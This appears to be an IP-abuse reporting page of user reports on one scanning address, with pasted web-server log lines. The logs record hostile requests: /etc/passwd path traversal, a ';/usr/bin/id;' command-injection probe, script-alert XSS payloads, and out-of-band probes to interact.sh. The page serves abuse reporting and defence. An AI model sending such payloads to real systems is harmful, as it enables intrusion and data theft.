Anonymous
2023-04-11 03:34:04
(3 years ago)
Common attack or app scan event detected and blocked
Port Scan
Hacking
Web App Attack
Anonymous
2023-02-25 17:03:54
(3 years ago)
Common attack or app scan event detected and blocked
Port Scan
Hacking
Web App Attack
Anonymous
2023-02-23 08:42:25
(3 years ago)
Multiple Web App Attacks
Web App Attack
๐ฎ๐น
siz
2023-01-13 07:16:40
(3 years ago)
Web App Attack
Anonymous
2023-01-13 00:33:26
(3 years ago)
General application exploitation and scanning observed in manual log review.
Hacking
Web App Attack
๐จ๐ฆ
ctf
2022-10-30 04:24:58
(3 years ago)
2022/10/30 05:24:58 [error] 40818#40818: *33000 open() "/var/www/html/cgi-bin/webproc" failed (2: No ...
show more
2022/10/30 05:24:58 [error] 40818#40818: *33000 open() "/var/www/html/cgi-bin/webproc" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "GET /cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 22:55:53
(3 years ago)
2022/10/29 23:55:53 [error] 993#993: *385 open() "/var/www/html/cgi-bin/koha/svc/virtualshelves/sear ...
show more
2022/10/29 23:55:53 [error] 993#993: *385 open() "/var/www/html/cgi-bin/koha/svc/virtualshelves/search" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "GET /cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 19:40:31
(3 years ago)
2022/10/29 20:40:31 [error] 713735#713735: *832879 open() "/var/www/html/cgi-bin/login.cgi" failed ( ...
show more
2022/10/29 20:40:31 [error] 713735#713735: *832879 open() "/var/www/html/cgi-bin/login.cgi" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "POST /cgi-bin/login.cgi HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 16:26:26
(3 years ago)
86.48.19.196 - - [29/Oct/2022:17:26:25 -0300] "GET /premise/front/getPingData?url=http://0.0.0.0:960 ...
show more
86.48.19.196 - - [29/Oct/2022:17:26:25 -0300] "GET /premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id; HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)"
...
show less
Brute-Force
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 14:00:59
(3 years ago)
2022/10/29 15:00:59 [error] 713738#713738: *798145 open() "/var/www/html/cgi-bin/GetSrvInfo.exe" fai ...
show more
2022/10/29 15:00:59 [error] 713738#713738: *798145 open() "/var/www/html/cgi-bin/GetSrvInfo.exe" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "GET /cgi-bin/GetSrvInfo.exe HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 07:48:43
(3 years ago)
86.48.19.196 - - [29/Oct/2022:08:48:42 -0300] "GET /select_project.php?url=http://interact.sh HTTP/1 ...
show more
86.48.19.196 - - [29/Oct/2022:08:48:42 -0300] "GET /select_project.php?url=http://interact.sh HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)"
...
show less
Brute-Force
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 07:07:16
(3 years ago)
86.48.19.196 - - [29/Oct/2022:07:00:17 -0300] "GET /wp-content/plugins/marmoset-viewer/mviewer.php?i ...
show more
86.48.19.196 - - [29/Oct/2022:07:00:17 -0300] "GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%272GnVM8S6Y27yuI5zVDjhSE9QR7E%27)> HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)"
86.48.19.196 - - [29/Oct/2022:08:06:52 -0300] "GET /?url=http://interact.sh HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)"
86.48.19.196 - - [29/Oct/2022:08:06:52 -0300] "GET /?url=http://interact.sh HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)"
86.48.19.196 - - [29/Oct/2022:08:07:15 -0300] "GET /echo-server.html?code=test&state=http://www.interact.sh HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)"
86.48.19.196 - - [29/Oct/2022:08:07:15 -0300] "GET /echo-server.html?code=test&state=http://www.interact.sh HTTP/1.1" 302 138 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64)"
...
show less
Brute-Force
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 06:16:50
(3 years ago)
2022/10/29 07:16:49 [error] 713735#713735: *745350 open() "/var/www/html/cgi-bin/login.cgi" failed ( ...
show more
2022/10/29 07:16:49 [error] 713735#713735: *745350 open() "/var/www/html/cgi-bin/login.cgi" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "POST /cgi-bin/login.cgi HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 04:29:21
(3 years ago)
2022/10/29 05:29:21 [error] 713739#713739: *735547 open() "/var/www/html/cgi-bin/awstats/awredir.pl" ...
show more
2022/10/29 05:29:21 [error] 713739#713739: *735547 open() "/var/www/html/cgi-bin/awstats/awredir.pl" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "GET /cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
...
show less
Brute-Force
Bad Web Bot
Web App Attack
๐จ๐ฆ
ctf
2022-10-29 03:58:23
(3 years ago)
2022/10/29 04:57:27 [error] 713738#713738: *732495 open() "/var/www/html/cgi-bin/manlist" failed (2: ...
show more
2022/10/29 04:57:27 [error] 713738#713738: *732495 open() "/var/www/html/cgi-bin/manlist" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "GET /cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/2GnVMCSogu5JPbSLr1759PkijGg/)%3C%2Fscript%3E HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
2022/10/29 04:58:22 [error] 713736#713736: *732570 open() "/var/www/html/cgi-bin/login.cgi" failed (2: No such file or directory), client: 86.48.19.196, server: orion.z0p.org, request: "POST /cgi-bin/login.cgi HTTP/1.1", host: "p0b5c545e.probes.atlas.ripe.net"
...
show less
Brute-Force
Bad Web Bot
Web App Attack